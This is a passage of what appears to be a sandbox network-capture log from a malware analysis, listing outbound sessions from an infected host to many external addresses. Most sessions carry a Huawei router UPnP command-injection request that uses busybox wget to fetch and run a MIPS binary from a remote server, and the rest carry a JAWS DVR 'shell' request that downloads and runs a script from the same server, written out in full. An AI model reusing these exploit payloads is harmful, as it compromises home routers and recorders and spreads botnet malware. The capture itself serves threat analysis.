/tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.13	43414	156.29.56.92	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.808504105 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.13	51862	197.203.83.162	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.809118032 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.13	49258	156.126.78.211	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.809761047 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.13	53588	197.158.150.50	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.810364008 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.13	43026	41.36.170.30	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.829282045 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.13	38300	180.183.87.174	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.829324007 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.13	35082	23.224.32.45	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.830580950 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.13	59460	41.232.203.93	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.830678940 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.13	33470	65.210.246.241	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.831398964 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.13	57244	197.100.220.57	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.832247972 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.13	40610	209.164.155.93	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.832412004 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.13	39778	83.126.174.186	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.833542109 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.13	36132	156.141.115.233	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.833636999 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.13	46638	188.148.5.67	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.834471941 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.13	42836	197.113.138.108	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.835206985 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.13	42704	57.119.84.72	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.835470915 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.13	49448	178.237.118.100	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.836546898 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.13	49196	197.247.78.82	37215

Timestamp	Bytes transferred	Direction	Data
